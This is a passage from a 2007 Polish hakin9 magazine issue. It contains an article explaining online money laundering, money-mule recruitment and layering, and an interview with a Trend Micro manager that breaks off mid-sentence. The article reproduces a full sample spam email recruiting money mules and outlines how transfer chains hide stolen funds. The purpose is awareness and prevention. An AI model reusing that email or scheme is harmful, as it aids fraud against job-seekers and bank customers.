to zapisana w komputerze informacja, a nie ilość 
posiadanego zielonego papieru, jest wyznaczni-
kiem tego, czy ktoś jest biedny, czy bogaty. 

W niniejszym artykule postaram się przybli-

żyć, na czym polega proces prania brudnych pie-
niędzy z wykorzystaniem do tego celu sieci Inter-
net, tzw. cyberlaundering. Na wstępie chciałbym 
podkreślić, że niniejszy artykuł omawia w sposób 
pobieżny  tylko  niektóre  zagadnienia  związane
z praniem brudnych pieniędzy i tylko te, które ma-
ją ścisły związek z tego typu działalnością prowa-
dzoną w Internecie. Sam problem jest dużo bar-
dziej  złożony  i  omówienie  go  dalece  wykracza 
poza ramy tego artykułu.

Trochę historii

Jak  już  wspomniałem  na  wstępie  niniejsze-
go  artykułu,  termin  pranie  brudnych  pienię-
dzy
 zyskał na znaczeniu za sprawą gangstera 
włoskiego  pochodzenia  Ala  Capone.  W  cza-
sach prohibicji w Stanach Zjednoczonych ów 
mafiozo czerpał niesamowite zyski z produk-
cji  i  przemytu  nielegalnego  wówczas  alkoho-

lu. Aby ukryć źródło swoich zysków, a zara-
zem zalegalizować zdobyte w powyższy spo-
sób pieniądze, dopisywał nielegalne zyski do 
dochodów  legalnie  działających  interesów,
w tym pralni odzieży – stąd też wzięła się na-
zwa procederu.

Cyberlaundering – pranie 

brudnych pieniędzy

Marcin Kopeć

stopień trudności

Nie minął jeszcze wiek, odkąd – za sprawą gangstera

o wdzięcznym pseudonimie Al Capone – został w latach 

dwudziestych ubiegłego wieku spopularyzowany proceder 

określony mianem prania brudnych pieniędzy. Mimo niewielkiego 

upływu czasu, za sprawą nowoczesnej technologii ów proceder 

znacznie wyewoluował.

Z artykułu dowiesz się

•   na  czym  polega  rozwijający  się  w  Internecie 

proceder prania brudnych pieniędzy, tzw. cyber-
laundering,

•   jak wyglądają poszczególne etapy procederu, 
•   jakie istnieją metody walki z cyberlaunderin-

giem,

•   jakie zagrożenie dla użytkownika Sieci stano-

wi świadomy bądź nieświadomy udział w pro-
cederze.

Co powinieneś wiedzieć

•   podstawowa wiedza na temat technik i narzędzi 

stosowanych  przez  cyberprzestępców  do  pro-
wadzenia nielegalnych działań, 

•   ogólna znajomość zasad działania złośliwego 

oprogramowania, a także metod ataków z wy-
korzystaniem socjotechniki,

•   znajomość  zagadnień  takich  jak  phishing, 

scamming, spamming.

background image

Cyberlaundering – pranie brudnych pieniędzy

hakin9 Nr 12/2007

www.hakin9.org

71

Obecnie  proces  legalizacji  środ-

ków jest tylko jednym z etapów prania 
pieniędzy, a samo słowo ma o wiele 
szersze znaczenie.

Prawo a pranie

Działania  określane  mianem  prania 
brudnych  pieniędzy  reguluje  polskie 
prawo.

Zgodnie z Ustawą z dnia 16 listo-

pada 2000r. o przeciwdziałaniu wpro-
wadzaniu  do  obrotu  finansowego 
wartości majątkowych pochodzących 
z  nielegalnych  lub  nieujawnionych 
źródeł oraz o przeciwdziałaniu finan-
sowaniu terroryzmu, pranie brudnych 
pieniędzy należy rozumieć jako dzia-
łalność  polegającą  na  wprowadza-
niu  do  obrotu  finansowego  wartości 
majątkowych  pochodzących  z  niele-
galnych  lub  nieujawnionych  źródeł,
poprzez wykonywanie czynności po-
legających na:

•   zamianie lub przekazaniu warto-

ści  majątkowych  pochodzących
z  działalności  o  charakterze 

przestępczym lub z udziału w ta-
kiej  działalności,  w  celu  ukrycia 
lub zatajenia bezprawnego pocho-
dzenia tych wartości majątkowych
albo  udzielenia  pomocy  osobie, 
która  bierze  udział  w  takiej  dzia-
łalności,  w  celu  uniknięcia  przez 
nią  prawnych  konsekwencji  tych 
działań,

•   ukryciu  lub  zatajeniu  prawdzi-

wego  charakteru,  źródła,  miej-
sca przechowywania, faktu prze-
mieszczenia lub praw związanych 
z  wartościami  majątkowymi  po-
chodzącymi z działalności o cha-
rakterze przestępczym lub udzia-
łu w takiej działalności,

•   nabyciu,  objęciu  w  posiadanie

albo używanie wartości majątko-
wych, pochodzących z działalno-
ści  o  charakterze  przestępczym 
lub udziału w takiej działalności.

Według  polskiego  prawa,  pranie 
brudnych  pieniędzy  jest  przestęp-
stwem,  objętym  konsekwencjami 
prawnymi,  o  których  mowa  w  Art. 

299  Kodeksu  Karnego  (Ramka 
Próba pozyskania osoby do proce-
deru prania brudnych pieniędzy 
).

Fazy prania

Proces  prania  brudnych  pieniędzy 
umownie dzieli się na cztery następu-
jące po sobie etapy (Rysunek 1):

•   faza  wstępna  –  przygotowanie 

całego procederu,

•   umiejscowienie (placement) – wpro-

wadzenie nielegalnych środków do 
obiegu finansowego,

•   rozwarstwianie (layering) – zacie-

ranie  śladów  prowadzących  do 
rzeczywistego źródła pieniędzy,

•   integracja (integration) – legaliza-

cja nielegalnych środków.

Faza wstępna

i umiejscowienie

Aby  pozyskać  nielegalny  dochód, 
cyberprzestępcy  prowadzą  w  Inter-
necie  szereg  działalności,  począw-
szy  od  wymuszeń  pieniędzy  przy 
wykorzystaniu  technik  socjotech-
nicznych  (np.  scamming),  poprzez 
kradzież  danych  logowania  (loginy, 
hasła, klucze) do systemów banko-
wości internetowej, kradzież nume-
rów  oraz  danych  autoryzacyjnych 
kart kredytowych, kończąc na oszu-
stwach przy handlu na aukcjach in-
ternetowych.

Mimo,  że  Internet  daje  cyber-

przestępcy  sporo  anonimowości 
–  bo  przecież  ten  zawsze  może  się 
ukryć za serwerem proxy, zainstalo-
wanym na skompromitowanym kom-
puterze w jakimś egzotycznym kraju 
–  to  już  przyjęcie  przez  niego  wpła-
ty  nielegalnych  środków  na  własny, 
także  internetowy  rachunek  banko-
wy,  wiąże  się  z  możliwością  ujaw-
nienia  jego  tożsamości.  Wszakże
proces  rejestracji  rachunków  (przy-
najmniej  w  przypadku  polskich  ban-
ków)  wymaga  udzielenia  bankowi 
przez posiadacza danych osobowych, 
które  będą  w  stanie  jednoznacznie
go  zidentyfikować.  Podobna  możli-
wość  ujawnienia  cyberprzestępcy
pojawia  się  przy  próbie  zakupu
przez  niego  dóbr  konsumenckich, 
np. w sklepie internetowym przy wyko-
rzystaniu nielegalnych środków, gdyż

Fragment Art. 299 

§1.  Kto  środki  płatnicze,  papiery  wartościowe  lub  inne  wartości  dewizowe,  prawa

majątkowe albo mienie ruchome lub nieruchome, pochodzące z korzyści zwią-
zanych z popełnieniem przestępstwa przez inne osoby, w szczególności polega-
jącego na wytwarzaniu lub obrocie środkami odurzającymi lub psychotropowy-
mi, przemycie, fałszowaniu pieniędzy lub papierów wartościowych, rozboju albo 
popełnieniu innego przestępstwa przeciwko mieniu wielkiej wartości, wymusza-
niu okupu albo handlu bronią, amunicją lub materiałami wybuchowymi albo roz-
szczepialnymi, przyjmuje, przekazuje lub wywozi za granicę, pomaga do przeno-
szenia ich własności lub posiadania albo podejmuje inne czynności, które mogą 
udaremnić lub znacznie utrudnić stwierdzenie ich przestępnego pochodzenia lub 
miejsca umieszczenia, ich wykrycie, zajęcie albo orzeczenie przepadku, podle-
ga karze pozbawienia wolności od 3 miesięcy do lat 5.

§5. Jeżeli sprawca dopuszcza się czynu określonego w §1 lub 2, działając w porozu-

mieniu z innymi osobami, podlega karze pozbawienia wolności od roku do lat 10.

§6. Karze określonej w §5 podlega sprawca, jeżeli dopuszczając się czynu określone-

go w §1 lub 2, osiąga znaczną korzyść majątkową.

§7. W razie skazania za przestępstwo określone w §1 lub 2, sąd orzeka przepa-

dek przedmiotów pochodzących bezpośrednio lub pośrednio z przestępstwa, 
chociażby przedmioty nie stanowiły własności sprawcy.

Rysunek 1. 

Fazy prania brudnych pieniędzy

background image

hakin9 Nr 12/2007

www.hakin9.org

Bezpieczna firma

72

zakupiony towar musi zostać wysłany 
na konkretny adres pocztowy.

Żeby ukryć swoją tożsamość, ce-

lem bezpiecznego prowadzenia nie-
legalnej działalności, cyberprzestęp-
ca  korzysta  z  ludzkich  pośredników 
– tzw. słupów (przez analogię moż-
na ich porównać do ludzkich serwe-
rów proxy).

Zadanie  słupa  w  procederze 

prania  najczęściej  ogranicza  się  do 
przyjęcia na własny rachunek banko-
wy nielegalnych środków, w zamian 
za niewielką gratyfikację finansową, 
a  następnie  do  przekazania  przy-
jętych  środków  na  inny,  wskazany 
przez cyberprzestępcę, rachunek.

Ponadto  w  analogiczny  spo-

sób słup jest w stanie otrzymywać 
i  przekazywać  dalej  dobra  konsu-
menckie.

Cyberprzestępca najczęściej wer-

buje słupów za pomocą atrakcyjnych 
ofert pracy, czyli sposobów na szyb-
kie  i  łatwe  zarobienie  pieniędzy  bez 
wychodzenia z domu, pojawiających 
się na forach internetowych, czy też 
trafiających  na  skrzynki  mailowe  ja-
ko tzw. spam.

Przykładową  próbą  pozyska-

nia  słupa  może  być  proponowanie 
takiej  osobie  pracy  w  charakterze 
menedżera/pośrednika  finansowe-
go w rzekomo realnej firmie. Zada-
niem pracownika byłoby rozliczanie 
należności  za  faktury  z  wcześniej 
otrzymanych środków pieniężnych. 
Za  zapłacenie  każdej  faktury  pra-
cownik  miałby  być  wynagradzany
w systemie prowizyjnym, np. mógł-
by  zatrzymać  5%  wartości  kwoty 
zrealizowanego przelewu z uprzed-
nio  otrzymanych  środków  pienięż-
nych. Ponadto za atrakcyjnością ta-
kiej oferty pracy przemawiałby fakt, 
że  jedynym  wymaganiem  stawia-
nym przyszłemu pracownikowi jest 
posiadanie  przez  niego  rachunku
w banku internetowym oraz poświę-
cenie tylko kilku godzin dziennie na 
pracę  przy  realizacji  przelewów
z  własnego  domowego  kompute-
ra  na  podstawie  uprzednio  otrzy-
mywanych  instrukcji.  Przykładową 
wiadomość  e-mail  mogącą  świad-
czyć  o  próbie  pozyskania  osób  do 
procederu prania brudnych pienię-

dzy  zamieszczono  w  ramce  Atrak-
cyjna  oferta  pracy  i  najprawdopo-
dobniej  próba  pozyskania  Twojej 
osoby  do  procederu  prania  brud-
nych pieniędzy.

Rozwarstwianie

Gdy  cyberprzestępca  uzyska  moż-
liwość wyprowadzenia środków pie-
niężnych z czyjegoś rachunku w ban-
ku  internetowym,  przejmując  dane
logowania/dane  autoryzacyjne,  np. 
przy  pomocy  złośliwego  oprogra-
mowania, czy też dokona oszustwa, 
którego  celem  jest  nakłonienie  ja-
kiejś  osoby  do  dokonania  wpłaty,
będzie  starał  się  doprowadzić  do 
sytuacji,  w  której  środki  te  trafią  na
rachunki  uprzednio  zwerbowanych 

słupów.  Mechanizmem  komunikacji 
między  cyberprzestępcą  a  słupem 
jest  najczęściej  poczta  elektronicz-
na. W tym celu cyberprzestępca re-
jestruje swój adres e-mail w którymś 
z popularnych serwisów oferujących 
darmowe konta pocztowe. 

W tym momencie rozpoczyna się 

właściwy  proces  zacierania  śladów, 
który  będzie  polegał  na  stworzeniu  
odpowiednio  długiej  ścieżki  prze-
pływu  środków  pieniężnych,  w  taki
sposób,  aby  ustalenie  docelowego
odbiorcy  środków  np.  przez  organy 
ścigania było mocno utrudnione.

Sytuację  tę  zilustrowano  na  Ry-

sunku 2. Osoby oznaczone literami A, 
B, C, D, E, F to uprzednio zwerbowa-
ne przez cyberprzestępcę osoby peł-

Próba pozyskania osoby do procederu

prania brudnych pieniędzy

Dear !
Our company want to suggest you a vacancy – TRANSFER MANAGER
Job Description:
The task of the Transfer Manager is to process payments between our partners' clients 
and our company, in particular, to manage cash and balance receipts, follow up on
accounts, etc. The job is related to remote Internet operations. Every payment order will 
be accompanied with detailed instructions. The brief training course is enclosed.

General requirements:

•   Willingness to work from home, take responsibility set up and achieve goals,
•   Ability to create good administrative reporting,
•   Prior customer service experience is a good benefit, but not a must,
•   Honesty, responsibility and promptness in operations,
•   Effective interaction with customers,
•   Familiarity to working online, Internet and e-mail skills,
•   One or several personal bank accounts,
•   Salary: $400-$800 per week.

This job will allow you to:

•   Work efficiently from home,
•   Increase available personal time,
•   Achieve financial independence in half the normal time (1-3 hours per day),
•   Interact and associate with other members in order to benefit from their knowledge 

and experiences,

•   Become able to share time and money with others less fortunate than you,
•   Develop high self-respect and esteem.

Current Vacancies: 7
If  you  want  to  apply  with  this  job,  please  go  to  http://www.financion-corp.com/
register.php?job_id=DH28
 or write e-mail to job@financion-corp.com.
James Beasley,
Personnel Manager,
New Age Escrow LTD mailto: job@financion-corp.com

background image

Cyberlaundering – pranie brudnych pieniędzy

hakin9 Nr 12/2007

www.hakin9.org

73

niące rolę słupów. Zdarzeniem, które 
rozpoczyna  proces  rozwarstwiania, 
jest  przestępstwo,  w  wyniku  którego 
na rachunki słupów A, D przyjmowa-
ne  są  środki  pieniężne  pochodzące
z  przestępstwa.  Następnie  cyber-
przestępca zleca słupom A, D prze-
kazanie otrzymanych środków w po-
staci  kilku  przelewów  na  rachunek 
słupa B (rozdrabniając kwotę uprzed-
nio otrzymanego przelewu), ten dalej 
przekazuje je do F itd., aż ostatecznie 
pieniądze trafią na konto przestępcy.

Aby  dodatkowo  utrudnić  identyfi-

kację  odbiorcy,  cyberprzestępca  mo-
że  zlecić  słupowi  wykonanie  przele-
wu systemem SWIFT do innego kraju.
SWIFT (Society for Worldwide Inter-
bank  Financial  Telecommunication

jest  międzynarodowym  stowarzy-
szeniem  pośredniczącym  w  elektro-
nicznym rozliczaniu transakcji między
instytucjami  finansowymi  na  całym 
świecie, obecnie obsługującym insty-
tucje finansowe w 208 krajach.

Identyfikacja  zagranicznego  od-

biorcy przez krajowe organy ścigania 
wiąże  się  z  uruchamianiem  między-
narodowych  kanałów  współpracy,  co 
najczęściej  jest  czasochłonne  i  daje 
cyberprzestępcy dużo czasu na dzia-
łanie. Jeszcze gorsza sytuacja wystę-
puje w przypadku, gdy pieniądze tra-
fią do banku w kraju będącym tzw. ra-
jem  podatkowym  (terytoria  offshore),
w  których  to  najczęściej  obowiązują 
restrykcyjne zasady dotyczące ochro-
ny  tajemnicy  bankowej,  w  prakty-
ce  uniemożliwiające  osobom  trzecim
–  w  tym  organom  ścigania  i  admini-
stracji – uzyskiwanie informacji o ra-

chunkach  bankowych  i  przeprowa-
dzanych na nich transakcjach.

Integracja

Drobni  cyberprzestępcy  zdobyte  nie-
legalnie  środki  pieniężne  mogą  prze-
znaczać  na  poprawę  własnych  wa-
runków  życia,  bądź  też  reinwestować 
je  w  dalszą  działalność  przestępczą. 
W  przypadku  zorganizowanych  grup 
przestępczych,  gdzie  dochody  z  nie-
legalnej  działalności  będą  wyższe
i  trudniejsze  do  ukrycia,  może  poja-
wić  się  potrzeba  legalizacji  nielegal-
nie  zdobytych  pieniędzy.  Nie  od  dziś 
wiadomo, że takie sektory, jak hazard 
czy  biznes  pornograficzny  są  szcze-
gólnie bliskie zorganizowanym grupom
przestępczym. Internetowe kasyna gry
oraz  płatne  serwisy  pornograficzne 
kontrolowane  przez  grupy  przestęp-
cze  mogą  zostać  wykorzystane  do
legalizacji środków pieniężnych pocho-
dzących z cyberprzestępstw. Przykła-
dowo,  gdy  grupa  przestępcza  pozy-
ska dużą ilość numerów oraz danych 
autoryzacyjnych  kart  kredytowych
(kody  CVV),  np.  w  wyniku  przepro-
wadzenia  ataku  typu  phishing,  może 
wykorzystać  zdobyte  w  ten  sposób 
środki  finansowe  do  gier  w  interneto-
wych  kasynach,  lub  też  wykupić  za
nie dostęp do płatnych serwisów por-
nograficznych. W konsekwencji pozwo-
li  wtedy  zarobić  kontrolowanej  przez 
grupę  przestępczą  firmie  będącej
właścicielem serwisu.

Przeciwdziałanie

Istnieje  międzyrządowa  grupa  robo-
cza The Financial Action Task Force 

(FATF), której celem jest wypracowy-
wanie  standardów  w  zakresie  walki
z procederem prania brudnych pienię-
dzy.  Większość  cywilizowanych  kra-
jów  świata  posiada  regulacje  prawne 
przewidujące  konsekwencje  prawne
za  uczestnictwo  w  ww.  procederze, 
jednakże  ten  –  wraz  z  rosnącą  ilo-
ścią  elektronicznych  transakcji  inter-
netowych  –  rozwija  się  w  najlepsze. 
Rozwiązaniem problemu mogłoby być 
stworzenie  globalnego  systemu  mo-
nitoringu  wszystkich  internetowych 
transakcji, który typowałby podejrzane 
transakcje finansowe na podstawie ich 
charakterystycznych  cech.  Jednakże 
stworzenie  i  wdrożenie  takiego  sys-
temu  w  instytucjach  finansowych  na 
całym  świecie  wiązałoby  się  ze  ści-
ślejszą  międzynarodową  współpracą
w  tym  zakresie,  co  wymagałoby
przyjęcia  specyficznych  ponadnaro-
dowych regulacji prawnych, których to 
wymaga globalny charakter Internetu.

Podsumowanie

W  przypadku  gdy  ktoś  nakłania  Cię 
do  wykonania  czynności  mających 
znamiona prania brudnych pieniędzy,
należy  poinformować  o  tym  fakcie
organy ścigania. Należy pamiętać, że 
żadna  legalnie  działająca  firma  nie
będzie  wykorzystywać  rachunków 
bankowych osób prywatnych do prze-
kazywania pieniędzy od swych klien-
tów, a także nie zapłaci 5% lub więcej 
za dokonanie przelewu, podczas gdy 
banki oferują taką usługę za znacznie 
niższą cenę. Osoba, która lekkomyśl-
nie skusi się na podobną do omówio-
nej w artykule, atrakcyjną ofertę pra-
cy
,  ponosi  pełną  odpowiedzialność
za przestępstwo prania brudnych pie-
niędzy  (Art.  299  Kodeksu  Karnego), 
a  w  przypadku  wykrycia  przestęp-
stwa, dla organów ścigania to właśnie 
ta osoba będzie podejrzana w pierw-
szej kolejności. l 

Rysunek 2. 

Wykorzystania słupów w procesie zacierania śladów prowadzących 

do docelowego odbiorcy pochodzących z przestępstwa pieniędzy

O autorze

Marcin  Kopeć  pracuje  jako  oficer  bez-
pieczeństwa w jednym z czołowych pol-
skich banków. Na co dzień zajmuje się 
problematyką bezpieczeństwa transak-
cji elektronicznych. Kontakt z autorem:
marcin.kopec@hotmail.com

background image

www.hakin9.org

hakin9 Nr 12/2007

74

Wywiad

hakin9:

  Czy  mógłby  Pan  przybliżyć  strategię 

firmy na najbliższy rok?

Filip  Demianiuk:

  Takie  strategie  są  trzy,  do-

tyczą  one  trzech  grup  produktów.  Pierwsza 
z  nich  to  produkty  dla  klientów  domowych, 
a  zakładana  strategia  koncentruje  się  na 
zwiększeniu ich rozpoznawalności, jeśli cho-
dzi  o  nazwę.  Problemem  związanym  z  tymi 
aplikacjami jest fakt, że są dostępne w wer-
sji angielskiej, co na tym rynku jest poważną 
niedogodnością.  Natomiast  od  strony  tech-
nicznej  produkty  te  cechują  się  bardzo  do-
brą  jakością  i  oferują  szeroką  gamę  funkcji. 
W  związku  z  tym,  celem  zarówno  naszym, 
jak  i  dystrybutorów  jest  spowodowanie,  aby 
te produkty były bardziej znane. Tyczy się to 
również aplikacji, które oferujemy klientom za 
darmo,  dostarczających  cząstkowej  funkcjo-
nalności naszych głównych produktów. Przy-
kładem może być Trend Protect – plugin do 
przeglądarki internetowej, który ocenia repu-
tację  całej  witryny  i  informuje,  czy  jest  ona 
bezpieczna.  Niedawno  kupiliśmy  inny  pro-
dukt,  który  jest  dobrze  oceniany  przez  od-
biorców  –  HiJack  This.  Rozwijając  go  dalej, 
chcemy pokazać  użytkownikom, że w trosce 
o  nich  chcemy  dostarczać  dobrych  rozwią-

zań także za darmo, przekonując w ten spo-
sób do naszych technologii. 
W przypadku produktów dla małych i średnich 
firm chcemy zwrócić uwagę na to, aby były one 
dobrze eksponowane i aby prowadzona przez 
nas kampania ich dotycząca rzeczywiście do-
cierała do tych firm. Chcemy przekonać użyt-
kowników tych produktów, że nawet jeżeli nie 
są  ekspertami  w  dziedzinie  bezpieczeństwa, 
to  nasze  rozwiązania  zapewniają  im  dostęp 
do  najnowszych  technologii  bezpieczeństwa, 
przy  jednoczesnej  prostocie  ich  użytkowania. 
Wreszcie,  jeżeli  chodzi  o  produkty  z  rodziny 
enterprise – z których, można by rzec, wyrosła 
nasza  firma  –chcemy  być  wciąż  innowacyjni.
Zamierzamy  rozwijać  nasze  produkty  zgod-
nie z potrzebami największych klientów, wzbo-
gacając rozwiązania o najnowsze i skuteczne 
technologie.

h9:

 Co w chwili obecnej robicie w celu zwięk-

szenia świadomości marki w Polsce?  Kontakt 
na witrynie WWW odsyła... do strony niemiec-
kiej.

FD:

 W tym przypadku problemem jest sposób 

konstruowania  tych  witryn.  Mogę  obiecać,  że 
ta sytuacja się zmieni, ponieważ nastąpiły mo-
dyfikacje w designie globalnej witryny. Zmiany 

Wywiad z Filipem 

Demianiukiem z firmy 

Trend Micro

Filip Demianiuk – w firmie Trend 

Micro zajmuje stanowisko 

Technical Channel Managera, 

co tak naprawdę oznacza, że 

zajmuje się wszystkim, co dotyczy  

technicznej strony działalności 

firmy: to między innymi spotkania 

z kluczowymi klientami, seminaria 

czy warsztaty, podczas których 

odbywa szereg konsultacji, uczy

i opowiada. 

Filip Demianiuk

background image

hakin9 Nr 12/2007

www.hakin9.org

75

Wywiad

stron lokalnych będą wprowadzane sukcesywnie. Wiem, 
że witryna polska jest w trakcie tłumaczenia, będzie ona 
całkowicie zmodyfikowana i będzie zawierała dobre od-
nośniki. Na swoją obronę mogę powiedzieć, że w biurze 
w  Niemczech  pracują  ludzie,  którzy  znają  język  polski 
i na pewno można się z nimi porozumieć w naszym języ-
ku ojczystym.

h9:

  Jaka  jest  Wasza  najważniejsza  technologia,  flago-

wy produkt?

FD:

Nie da się tak po prostu odpowiedzieć na to pytanie. 

Mogę  jedynie  wymienić  najnowsze  technologie,  które 
wprowadziliśmy w ostatnim czasie. Nie chciałbym także 
dywagować,  które  technologie  uważamy  za  najbardziej 
istotne, ponieważ chcemy rozwijać produkty ze wszyst-
kich  trzech  wymienionych  przeze  mnie  wcześniej  grup. 
Swoiste perełki firmy, czyli  obszary, na których jesteśmy 
oceniani przez IDC jako numer 1, to produkty służące do 
ochrony bramki internetowej. Staramy się być firmą trwa-
le innowacyjną, dlatego nieustannie prezentujemy nowe 
technologie. Ostatnia z nich, wprowadzona do naszych 
produktów bramkowych oraz rozwiązań chroniących sta-
cje robocze i serwery, to usługi web reputation services. 
Od strony technologicznej jest to 270 serwerów, które od-
powiadają za składowanie informacji o klasyfikacji witryn, 
a także wykonują ponad 50 różnych testów na nowych 
witrynach,  jeżeli  dostaną  zapytanie  o  ich  reputację.  Na 
podstawie zapytania DNS w sposób łatwy, szybki, nie ob-
ciążający ani systemów, ani łącz, użytkownik jest w sta-
nie  kreować  własne  polityki  bezpieczeństwa  w  oparciu 
o przygotowaną przez nas informację o reputacji witryn. 

h9

Czy nie boicie się konkurencji?

FD:

 Należy zacząć od tego, że konkurencja jest dobra. 

Właśnie ona powoduje, że firmy są zmuszone do szuka-
nia nowych rozwiązań i wprowadzania nowych techno-
logii. To z kolei jest bardzo korzystne dla klientów, dlate-
go  doceniamy  fakt  istnienia  konkurencji.  Motywuje  ona 
do  pracy  i  powoduje,  że  chcemy  się  wyróżniać,  opra-
cowujemy nowe technologie, dobrze oceniane nie tylko 
przez nas ale i naszych klientów. Ostatnio niezależna fir-
ma badawcza Opus One sklasyfikowała nasze rozwiąza-
nia antyspamowe jako numer jeden na rynku. Oznacza 
to, że nasze działania przynoszą efekt. Klienci korpora-
cyjni – nie mam na myśli tylko rynku polskiego, na którym 
także mamy dużych klientów korporacyjnych, ale mówię 
o klientach globalnych – również korzystają z tych roz-
wiązań. Np. Microsoft dla ochrony swojego Hotmaila uży-
wa naszych produktów, a nie swoich. Zatem jeśli nawet 
konkurencja korzysta z naszych rozwiązań – mówi to sa-
mo za siebie.

h9:

  Czy  skupiacie  swą  uwagę  w  większym  stopniu  na 

klientach indywidualnych czy na firmach?

FD:

 To trudne pytanie. Na rynku polskim obecnie, z pew-

nością,  na  firmach  –  dlatego,  że  produkty  dla  klientów
indywidualnych nie posiadają w tej chwili polskiego inter-
fejsu użytkownika, co oznacza, że dla wielu użytkowni-
ków mogą być trudniejsze w konfiguracji i użytkowaniu. 
Nie ma oczywiście przeszkód, aby korzystać z naszych 

rozwiązań technologicznych dla klientów indywidualnych 
w Polsce, jednak główną częścią naszej działalności jest 
promowanie rozwiązań dla przedsiębiorstw. 

h9:

 Czy zainteresowanie klientów produktami z dziedzi-

ny zabezpieczeń IT zwiększa się wraz ze wzrostem po-
ziomu zagrożeń?

FD

Moim zdaniem właściwsze jest stwierdzenie, że tak 

naprawdę rośnie ono wraz ze świadomością zagrożeń. 
Coraz więcej ludzi zdaje sobie sprawę z tego, jakim ry-
zykiem jest korzystanie z Sieci, zaczynają więc rozglą-
dać się za metodami ochrony. Myślę, że świadomość jest 
kluczem do szerokiej popularności tego typu rozwiązań, 
gdyż dla ludzi znających się na szeroko rozumianej infor-
matyce korzystanie z takich technik jest po prostu obo-
wiązkiowe. 

h9:

  Jak  wygląda  wzrost  zainteresowania  firmą  Trend

Micro na polskim rynku w porównaniu do rynków zagra-
nicznych? 

FD

Nie  znam,  niestety,  wyników  badań  wzrostu  po-

pularności  produktów.  Rozwijamy  się,  jeśli  chodzi 
o  zwiększenie  sprzedaży,  mniej  więcej  tak,  jak  jest 
to zaplanowane – czyli powyżej poziomu wzrostu sa-
mego rynku. Oznacza to, że nasze rozwiązania gene-
ralnie  zyskują  na  popularności,  natomiast  trudno  jest 
mi określić skalę tego zjawiska lokalnie. To, co mogę 
stwierdzić na pewno – obserwujemy wyraźne tenden-
cje  wzrostu  popularności  Trend  Micro  w  Azji,  w  Sta-
nach Zjednoczonych i w Europie. Okazuje się, że Azja 
jest rynkiem, na którym udział w rynku firmy Trend Mi-
cro wynosi, dla niektórych rozwiązań, nawet 80%. Tam 
jest to bardzo znana firma. Tak naprawdę bardzo istot-
na jest tu specyfika rynku, różnice są tego typu, że dla 
firm  amerykańskich  tysiąc  użytkowników  to  niemal-
że firma z segmentu small business, natomiast w Pol-
sce jest to już duże przedsiębiorstwo. W związku z tym 
nasze podejście też musi być inne. Zatem w przypad-
ku, kiedy produkt jest rozwijany w Stanach Zjednoczo-
nych, wydaje się on trudniejszy do zaoferowania w Eu-
ropie.  W  ujęciu  globalnym  Trend  Micro  dogania  swą 
najgroźniejszą  konkurencję,  co  pozwala  pozytywnie 
postrzegać aktualną sytuację firmy.

h9:

  W  jaki  sposób  firma  postrzega  polskich  specjali-

stów od bezpieczeństwa IT? Czy są dla nich organizo-
wane  specjalne  szkolenia,  oferowane  gratisowe  narzę-
dzia itp.?

FD:

 Nie ograniczamy dostępu do naszych gratisowych 

narzędzi  dla  jakiejś  specyficznej  grupy  użytkowni-
ków, jak na przykład oficerów bezpieczeństwa. Nie do-
starczamy  takich  dedykowanych  narzędzi  dla  jakichś 
konkretnych grup odbiorców, są one dostępne za dar-
mo dla każdego - np. HiJack This czy Trend Protect. Za-
chęcamy wszystkich naszych użytkowników do testo-
wania wersji beta produktów i informowaniu nas co nie 
działa, co wymaga poprawy, jaka dodatkowa funkcjo-
nalność  byłaby  przydatna.  Oczywiście,  organizujemy
też warsztaty, które są związane z kanałami sprzeda-
ży  –  są  więc  przeznaczone  dla  dystrybutorów  firmy. 

background image

hakin9 Nr 12/2007

www.hakin9.org

Wywiad

76

Ponadto bierzemy udział w seminariach, na których za-
wsze chętnie witamy wszystkie osoby zainteresowane 
bezpieczeństwem systemów i nasza ofertą. Sami dys-
trybutorzy  organizują  warsztaty  dla  swoich  klientów, 
w których my bierzemy udział i przekazujemy wiedzę 
użytkownikom. 

h9:

 Jakie są według Pana obecne trendy w IT, co zmieni-

ło się w charakterze zagrożeń płynących z Internetu?

FD:

  Zmieniło  się  wiele.  Dawne  wirusy  plikowe  przeno-

szone na dyskietkach, czy nieco młodsze ataki worm’ów
internetowych  nie  stanowią  już  dużego  zagrożenia. 
To, co dzieje się obecnie, wiąże się z zastosowaniem 
złośliwego  kodu,  który  służy  teraz  ludziom  zajmują-
cym się zarabianiem w ten sposób pieniędzy, np. po-
przez  rozsyłanie  spamu,  wykorzystanie  bootnetów, 
spyware tworzony na zamówienie itd. Z drugiej strony,
ataki  są  teraz  bardziej  ukierunkowane  na  konkretne 
grupy  odbiorców,  na  jakiś  cel.  Mogą  to  być  ataki  na 
jakąś grupę etniczną czy np. na grupę ludzi zaintere-
sowanych  sportem.  Przykładem  może  być  sytuacja, 
w której zaatakowano jedną z witryn oferujących bilety
na tegoroczny Super Bowl. Do strony został wstrzyk-
nięty kod infekujący komputery ludzi, którzy odwiedzali
tę  witrynę.  Po  pierwsze,  tego  typu  ataki  są  nakiero-
wane na konkretną grupę ludzi, po drugie – wykorzy-
stują  jako  nośnik  sam  Internet.  To  właśnie  interakcja 
 z Siecią jest tutaj tak naprawdę kluczową sprawą. Mo-
że  zaistnieć  sytuacja,  że  wchodzimy  na  stronę,  którą 
odwiedzaliśmy już setki razy i nic się nie działo, ale zo-
stała  właśnie  zaatakowana  i  zainfekowana,  w  wyniku 
czego nieświadomie możemy stać się celem ataku i po-
brać jakiś złośliwy komponent. Później ten komponent, 
po  uaktywnieniu  się  na  naszym  komputerze,  może
łączyć  się  z  różnymi  adresami  IP,  pobierać  inne,  do-
datkowe  komponenty  ataku.  Powiem  więcej,  produ-
cenci złośliwego kodu oferują swoim klientom service
packi  do  tego  typu  aplikacji,  które  umożliwiają  ukry-
cie  ich  aktywności  przed  skanerami  antywirusowymi. 
Dla takiego typu ataku, ogniwem łaczącym wszystkie 
elementy, jest ciągła interakcja z Internetemi. Właśnie 
ten nowy czynnik spowodował, że zdecydowaliśmy się 
na stworzenie sieciowych usług reputacyjnych – zwy-
kłe skanery nie są już w stanie nadążyć za nieustan-
nymi zmianami. 

h9:

 Czy obecne zabezpieczenia coraz lepiej chronią nas 

przed  przestępcami,  czy  ta  walka  nadal  jest  przez  nas 
przegrywana i wciąż są oni krok naprzód?

FD:

 Nie jest łatwo dokładnie to ocenić. Istotnie – za-

bezpieczenia  są  coraz  lepsze.  Po  pierwsze,  wymaga 
tego konkurencja, po drugie – nowe metody ataku zmu-
szają  firmy  dostarczające  zabezpieczenia  do  opraco-
wania nowych metod obrony. Czasami firmy są o ten 
jeden krok do przodu, ich specjaliści cały czas zasta-
